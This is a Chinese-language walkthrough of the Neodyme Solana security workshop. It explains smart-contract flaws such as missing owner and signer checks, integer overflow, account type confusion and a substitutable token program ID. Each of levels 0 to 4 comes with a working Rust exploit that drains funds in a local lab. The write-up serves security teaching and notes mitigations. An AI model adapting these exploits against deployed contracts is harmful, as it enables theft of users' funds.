Solana Security Workshop
Setup - Full¶
$ docker run --name breakpoint-workshop -p 2222:22 -p 8383:80 -e PASSWORD="password" neodymelabs/breakpoint-workshop:latest-code-prebuilt
# visit http://localhost:8383
Compiling the Contracts and Running the Exploits¶
- PoC 框架代码位于
pocs
目录下 - VSCode 中
Ctrl+Shift+B
再选择level
-
或通过命令行的方式
# compile all contracts cargo build-bpf --workspace # run level0 exploit RUST_BACKTRACE=1 cargo run --bin level0
-
Docker 内有部分命令缺失(e.g.
bash
>m<)可能导致构建失败,可在本地构建后上传
Exploit Outline¶
初始持有 1 SOL,目标是获得更多的 SOL
Level 0 - A First Vulnerability¶
-
查看
WalletInstruction
,初步了解程序的功能pub enum WalletInstruction { /// Initialize a Personal Savings Wallet /// /// Passed accounts: /// (1) Wallet account /// (2) Vault accounts /// (3) Authority /// (4) Rent sysvar /// (5) System program Initialize, /// Deposit /// /// Passed accounts: /// (1) Wallet account /// (2) Vault accounts /// (3) Money Source Deposit { amount: u64 }, /// Withdraw from Wallet /// /// Passed accounts: /// (1) Wallet account /// (2) Vault accounts /// (3) Authority /// (4) Target Wallet account Withdraw { amount: u64 }, }
-
程序入口点函数
processor::process_instruction
反序列化instruction_data
并调用指定函数pub fn process_instruction( program_id: &Pubkey, accounts: &[AccountInfo], mut instruction_data: &[u8], ) -> ProgramResult { match WalletInstruction::deserialize(&mut instruction_data)? { WalletInstruction::Initialize => initialize(program_id, accounts), WalletInstruction::Deposit { amount } => deposit(program_id, accounts, amount), WalletInstruction::Withdraw { amount } => withdraw(program_id, accounts, amount), } }
-
调用其它程序可通过
invoke()
或invoke_signed()
(当需要 PDA 作为 instruction 的 signer 时) -
withdraw
中wallet
、vault
等账户均由调用者提供,且未检查账户wallet
的owner
,因而可以创建一个攻击者作为authority
的wallet
账户,从而调用withdraw
获取 SOLfn withdraw(_program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { let account_info_iter = &mut accounts.iter(); let wallet_info = next_account_info(account_info_iter)?; let vault_info = next_account_info(account_info_iter)?; let authority_info = next_account_info(account_info_iter)?; let destination_info = next_account_info(account_info_iter)?; let wallet = Wallet::deserialize(&mut &(*wallet_info.data).borrow_mut()[..])?; assert!(authority_info.is_signer); assert_eq!(wallet.authority, *authority_info.key); assert_eq!(wallet.vault, *vault_info.key); if amount > **vault_info.lamports.borrow_mut() { return Err(ProgramError::InsufficientFunds); } **vault_info.lamports.borrow_mut() -= amount; **destination_info.lamports.borrow_mut() += amount; Ok(()) }
Exploit¶
fn hack(env: &mut LocalEnvironment, challenge: &Challenge) {
// Step 0: how much money do we want to steal?
let amount = env.get_account(challenge.vault_address).unwrap().lamports;
// `unwrap` returns a `panic` when it receives a `None`
// Step 1: a fake wallet with the same vault
let hacker_wallet = level0::Wallet {
authority: challenge.hacker.pubkey(),
vault: challenge.vault_address,
};
let fake_wallet = keypair(233);
let mut hack_wallet_data: Vec<u8> = vec![];
hacker_wallet.serialize(&mut hack_wallet_data).unwrap();
env.create_account_with_data(&fake_wallet, hack_wallet_data);
// Step 2: Use fake wallet to withdraw funds from the real vault to the attacker
let instruction = Instruction {
program_id: challenge.wallet_program,
accounts: vec![
AccountMeta::new(fake_wallet.pubkey(), false),
AccountMeta::new(challenge.vault_address, false),
AccountMeta::new(challenge.hacker.pubkey(), true),
AccountMeta::new(challenge.hacker.pubkey(), false),
AccountMeta::new_readonly(system_program::id(), false),
],
// add `use borsh::BorshSerialize;` to use `try_to_vec()` method
data: level0::WalletInstruction::Withdraw { amount }.try_to_vec().unwrap(),
};
env.execute_as_transaction(&[instruction], &[&challenge.hacker]).print_named("Hack: hacker withdraw");
}
参考资料¶
- Calling Between Programs | Solana Docs
- Environment in poc_framework - Rust
- Option & unwrap - Rust By Example
- Pubkey::find_program_address - Rust
Level 1 - Personal Vault¶
-
相比于 Level 0,
Wallet
移除了vault
,并保持了除vault
外其它功能的一致性pub struct Wallet { pub authority: Pubkey, }
-
withdraw
中wallet_info
、authority_info
仍然由调用者提供,且只检查wallet
的owner
是否为对应程序以及wallet
中存储的authority
与提供的authority_info
是否匹配,并没有检查authority_info
是否为 signerfn withdraw(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { msg!("withdraw {}", amount); let account_info_iter = &mut accounts.iter(); let wallet_info = next_account_info(account_info_iter)?; let authority_info = next_account_info(account_info_iter)?; let destination_info = next_account_info(account_info_iter)?; let wallet = Wallet::deserialize(&mut &(*wallet_info.data).borrow_mut()[..])?; assert_eq!(wallet_info.owner, program_id); assert_eq!(wallet.authority, *authority_info.key); if amount > **wallet_info.lamports.borrow_mut() { return Err(ProgramError::InsufficientFunds); } **wallet_info.lamports.borrow_mut() -= amount; **destination_info.lamports.borrow_mut() += amount; wallet .serialize(&mut &mut (*wallet_info.data).borrow_mut()[..]) .unwrap(); Ok(()) }
Exploit¶
fn hack(env: &mut LocalEnvironment, challenge: &Challenge) {
let amount = env.get_account(challenge.wallet_address).unwrap().lamports;
let instruction = Instruction {
program_id: challenge.wallet_program,
accounts: vec![
AccountMeta::new(challenge.wallet_address, false),
AccountMeta::new(challenge.wallet_authority, false),
AccountMeta::new(challenge.hacker.pubkey(), true),
AccountMeta::new_readonly(system_program::id(), false),
],
data: level1::WalletInstruction::Withdraw { amount }.try_to_vec().unwrap(),
};
env.execute_as_transaction(&[instruction], &[&challenge.hacker]).print_named("Hack: hacker withdraw");
}
Level 2 - Secure Personal Vault¶
-
在 Level 1 的基础上,修复了
withdraw
未检查 signer 的问题fn withdraw(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { msg!("withdraw {}", amount); let account_info_iter = &mut accounts.iter(); let wallet_info = next_account_info(account_info_iter)?; let authority_info = next_account_info(account_info_iter)?; let destination_info = next_account_info(account_info_iter)?; let rent_info = next_account_info(account_info_iter)?; let wallet = Wallet::deserialize(&mut &(*wallet_info.data).borrow_mut()[..])?; let rent = Rent::from_account_info(rent_info)?; assert_eq!(wallet_info.owner, program_id); assert_eq!(wallet.authority, *authority_info.key); assert!(authority_info.is_signer, "authority must sign!"); let min_balance = rent.minimum_balance(WALLET_LEN as usize); if min_balance + amount > **wallet_info.lamports.borrow_mut() { return Err(ProgramError::InsufficientFunds); } **wallet_info.lamports.borrow_mut() -= amount; **destination_info.lamports.borrow_mut() += amount; wallet .serialize(&mut &mut (*wallet_info.data).borrow_mut()[..]) .unwrap(); Ok(()) }
-
在
debug
模式下编译程序,Rust 将对整型溢出抛出异常,而在release
模式下,Rust 将进行 two's complement wrapping,以u8
为例,结果等同于模 \(256\) - 可以通过
amount
使wallet_info
账户中的lamports
下溢出来获取资金,并使destination_info
账户中的lamports
上溢出来减少其资金- 另外还需通过上溢出绕过检查
min_balance + amount > **wallet_info.lamports.borrow_mut()
- 另外还需通过上溢出绕过检查
- 推荐使用
checked_sub
、checked_add
Exploit¶
fn hack(env: &mut LocalEnvironment, challenge: &Challenge) {
env.execute_as_transaction(&[level2::initialize(challenge.wallet_program, challenge.hacker.pubkey())], &[&challenge.hacker]).print_named("Hacker: initialize wallet");
let hacker_wallet = level2::get_wallet_address(challenge.hacker.pubkey(), challenge.wallet_program);
let min_balance = Rent::default().minimum_balance(level2::WALLET_LEN as usize);
let amount = u64::max_value() - min_balance + 1;
for i in 0..10 {
env.execute_as_transaction(&[Instruction {
program_id: challenge.wallet_program,
accounts: vec![
AccountMeta::new(hacker_wallet, false),
AccountMeta::new(challenge.hacker.pubkey(), true),
AccountMeta::new(challenge.wallet_address, false),
AccountMeta::new_readonly(sysvar::rent::id(), false),
],
data: level2::WalletInstruction::Withdraw { amount: amount + i }.try_to_vec().unwrap(),
}], // 交易 `recent_blockhash` 相同,因而需要设置不同的参数,避免 This transaction has already been processed
&[&challenge.hacker]).print_named(format!("Hacker: exploit {}", i).as_str());
}
env.execute_as_transaction(&[level2::withdraw(challenge.wallet_program, challenge.hacker.pubkey(), challenge.hacker.pubkey(), env.get_account(hacker_wallet).unwrap().lamports - min_balance)], &[&challenge.hacker]).print_named("Hacker: withdraw");
}
参考资料¶
- Data Types - The Rust Programming Language
- anchor - How to avoid SendTransactionError "This transaction has already been processed" - Solana Stack Exchange
Level 3 - Tip Pool¶
-
查看
TipInstruction
,初步了解程序的功能,任何人可以创建TipPool
来接收 tips,资金存储在Vault
中,withdraw
时将依据TipPool
中存储的value
TipInstruction
pub enum TipInstruction { /// Initialize a vault /// /// Passed accounts: /// /// (1) Vault account /// (2) initializer (must sign) /// (3) Rent sysvar /// (4) System Program Initialize { seed: u8, fee: f64, fee_recipient: Pubkey, }, /// Initialize a TipPool /// /// Passed accounts: /// /// (1) Vault account /// (2) withdraw_authority (must sign) /// (3) Pool account CreatePool, /// Tip /// /// Passed accounts: /// /// (1) Vault account /// (2) Pool /// (3) Tip Source /// (4) System program Tip { amount: u64 }, /// Withdraw from Pool /// /// Passed accounts: /// /// (1) Vault account /// (2) Pool account /// (3) withdraw_authority (must sign) Withdraw { amount: u64 }, }
-
两种账户类型,
Vault
和TipPool
,注意到Vault
的字段恰好能覆盖TipPool
的字段deserialize
根据给定数据类型解析,并更新 buffer,使其指向剩余字节
pub struct TipPool { pub withdraw_authority: Pubkey, // Vault::creator pub value: u64, // Vault::fee pub vault: Pubkey, // Vault::fee_recipient } pub struct Vault { pub creator: Pubkey, pub fee: f64, pub fee_recipient: Pubkey, pub seed: u8, }
-
withdraw
中未检查pool_info
是否是TipPool
类型的数据,因而可以传入Vault
类型的数据fn withdraw(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { let account_info_iter = &mut accounts.iter(); let vault_info = next_account_info(account_info_iter)?; let pool_info = next_account_info(account_info_iter)?; let withdraw_authority_info = next_account_info(account_info_iter)?; let mut pool = TipPool::deserialize(&mut &(*pool_info.data).borrow_mut()[..])?; assert_eq!(vault_info.owner, program_id); assert_eq!(pool_info.owner, program_id); assert!( withdraw_authority_info.is_signer, "withdraw authority must sign" ); assert_eq!(pool.vault, *vault_info.key); assert_eq!(*withdraw_authority_info.key, pool.withdraw_authority); pool.value = match pool.value.checked_sub(amount) { Some(v) => v, None => return Err(ProgramError::InvalidArgument), }; **(*vault_info).lamports.borrow_mut() -= amount; **(*withdraw_authority_info).lamports.borrow_mut() += amount; pool.serialize(&mut &mut pool_info.data.borrow_mut()[..]).unwrap(); Ok(()) }
-
通过
initialize
来控制Vault
类型账户各个字段的值,并使用Vault
类型的账户来代替TipPool
进行withdraw
fn initialize( program_id: &Pubkey, accounts: &[AccountInfo], seed: u8, fee: f64, fee_recipient: Pubkey, ) -> ProgramResult { let account_info_iter = &mut accounts.iter(); let vault_info = next_account_info(account_info_iter)?; let initializer_info = next_account_info(account_info_iter)?; let rent_info = next_account_info(account_info_iter)?; let rent = Rent::from_account_info(rent_info)?; // 使用不同的 seed 来获取不同的 vault_address let vault_address = Pubkey::create_program_address(&[&[seed]], program_id).unwrap(); assert_eq!(*vault_info.key, vault_address); assert!( vault_info.data_is_empty(), "vault info must be empty account!" ); assert!(initializer_info.is_signer, "initializer must sign!"); invoke_signed( &system_instruction::create_account( &initializer_info.key, &vault_address, rent.minimum_balance(VAULT_LEN as usize), VAULT_LEN, &program_id, ), &[initializer_info.clone(), vault_info.clone()], &[&[&[seed]]], )?; let vault = Vault { creator: *initializer_info.key, fee, fee_recipient, seed, }; vault.serialize(&mut &mut vault_info.data.borrow_mut()[..]).unwrap(); Ok(()) }
-
可增加类型字段来避免 Account Confusion
// e.g. pub struct TipPool { pub atype: u8, // contain a unique identifier for this account type pub withdraw_authority: Pubkey, pub value: u64, pub vault: Pubkey, }
Exploit¶
fn hack(env: &mut LocalEnvironment, challenge: &Challenge) {
let pool: TipPool = env.get_deserialized_account(challenge.tip_pool).unwrap();
let seed = 1;
let hacker_vault = Pubkey::create_program_address(&[&[seed]], &challenge.tip_program).unwrap();
env.execute_as_transaction(
&[level3::initialize(
challenge.tip_program,
hacker_vault, // new vault
challenge.hacker.pubkey(), // creator <-> withdraw_authority
seed,
pool.value as f64, // fee <-> value
challenge.vault_address // fee_recipient <-> vault
)],
&[&challenge.hacker],
).print_named("Hacker: initialize vault");
env.execute_as_transaction(
&[level3::withdraw(
challenge.tip_program,
challenge.vault_address,
hacker_vault,
challenge.hacker.pubkey(),
pool.value,
)],
&[&challenge.hacker]
).print_named("Hacker: withdraw");
}
参考资料¶
- Solana Smart Contracts: Common Pitfalls and How to Avoid Them
- BorshDeserialize in borsh::de - Rust
- Program Derived Addresses (PDAs) | Solana Cookbook
Level 4 - SPL1-Token Vault¶
- 每一种类型的 SPL 代币通过创建一个
mint
账户来声明,mint
账户存储代币元数据,每个 SPL 代币账户关联mint
账户- Associated Token Account Program 根据用户系统账户和
mint
账户确定性地派生 SPL 代币账户。无论创建者,create_associated_token_account
的所有者都是对应用户的系统账户 - 若 SPL 代币账户关联原生
mint
(SOL),则账户 SOL 余额与代币余额保持一致
- Associated Token Account Program 根据用户系统账户和
-
spl_token
在版本 3.1.1 有重要变更 👀// There's a mitigation for this bug in spl-token 3.1.1 // vendored_spl_token is an exact copy of spl-token 3.1.0, which doesn't have the mitigation yet use vendored_spl_token as spl_token;
-
对比 3.1.1 和 3.1.0 的源码2,发现版本 3.1.1 主要新增了对提供的 SPL 代币程序 ID 的检查
check_program_account(token_program_id)?;
,而token_program_id
是可控的,那么在版本 3.1.0 可以部署恶意程序来操控数据 - 由
wallet_owner
的公钥和wallet_program
获得程序派生地址wallet_address
,是持有 SPL 代币的账户地址 -
withdraw()
中调用了spl_token::instruction::transfer_checked()
,那么将spl_token
指向可控程序,从而能够交换source
和destination
fn withdraw(program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { msg!("withdraw {}", amount); let account_info_iter = &mut accounts.iter(); let wallet_info = next_account_info(account_info_iter)?; let authority_info = next_account_info(account_info_iter)?; let owner_info = next_account_info(account_info_iter)?; let destination_info = next_account_info(account_info_iter)?; let mint = next_account_info(account_info_iter)?; let spl_token = next_account_info(account_info_iter)?; let (wallet_address, _) = get_wallet_address(owner_info.key, program_id); let (authority_address, authority_seed) = get_authority(program_id); assert_eq!(wallet_info.key, &wallet_address); assert_eq!(authority_info.key, &authority_address); assert!(owner_info.is_signer, "owner must sign!"); let decimals = mint.data.borrow()[44]; invoke_signed( &spl_token::instruction::transfer_checked( &spl_token.key, &wallet_info.key, mint.key, destination_info.key, authority_info.key, &[], // signer_pubkeys amount, decimals, ).unwrap(), &[ wallet_info.clone(), destination_info.clone(), authority_info.clone(), mint.clone(), ], &[&[&[authority_seed]]], // 当 signer_pubkeys 为空时,由 authority 签名 // 根据 bump seed 派生出的 account_info 中的账户作为 signer )?; Ok(()) }
Exploit¶
// pocs/src/bin/level4.rs
fn hack(env: &mut LocalEnvironment, challenge: &Challenge) {
let fake_spl_token_program = env.deploy_program("target/deploy/level4_poc_contract.so");
let hacker_wallet = level4::get_wallet_address(
&challenge.hacker.pubkey(),
&challenge.wallet_program
).0;
assert_tx_success(env.execute_as_transaction(
&[level4::initialize(
challenge.wallet_program,
challenge.hacker.pubkey(),
challenge.mint
)],
&[&challenge.hacker]
));
env.execute_as_transaction(
&[Instruction {
program_id: challenge.wallet_program,
accounts: vec![
AccountMeta::new(hacker_wallet, false), // wallet_info
AccountMeta::new_readonly(level4::get_authority(&challenge.wallet_program).0, false), // authority_info
AccountMeta::new_readonly(challenge.hacker.pubkey(), true), // owner_info
AccountMeta::new(challenge.wallet_address, false), // destination_info
AccountMeta::new_readonly(spl_token::id(), false), // mint
// All the accounts that fake_spl_token_program::TransferChecked needs need to be
// included, including the spl_token program being invoked. Since mint is not required
// by spl_token::instruction::transfer, we use mint to include spl_token::id()
AccountMeta::new_readonly(fake_spl_token_program, false), // spl_token
],
data: level4::WalletInstruction::Withdraw { amount: sol_to_lamports(1_000_000.0) }.try_to_vec().unwrap(),
}],
&[&challenge.hacker]
).print_named("Hacker: withdraw");
}
// level4-poc-contract/src/lib.rs
use solana_program::{
account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, program::invoke,
pubkey::Pubkey,
};
use spl_token::instruction::{ TokenInstruction, transfer };
entrypoint!(process_instruction);
pub fn process_instruction(
_program_id: &Pubkey,
accounts: &[AccountInfo],
instruction_data: &[u8],
) -> ProgramResult {
match TokenInstruction::unpack(instruction_data).unwrap() {
TokenInstruction::TransferChecked { amount, .. } => {
let source = &accounts[0];
let mint = &accounts[1];
let destination = &accounts[2];
let authority = &accounts[3];
invoke(
&transfer(
mint.key, // token_program_id
destination.key, // source_pubkey
source.key, // destination_pubkey
authority.key, // It's already signed by the wallet program, so `invoke` is used
&[],
amount,
).unwrap(),
// Order doesn't matter
&[
source.clone(),
destination.clone(),
authority.clone(),
],
)
}
_ => Ok(())
}
}
参考资料¶
- Supporting the SPL Token Standard
- Associated Token Account Program | Solana Program Library Docs
- TokenInstruction in spl_token::instruction - Rust
- spl_token::instruction - Rust
- instruction.rs - source
- invoke_signed in solana_sdk::program - Rust
- Program examples written in Rust
Pageviews: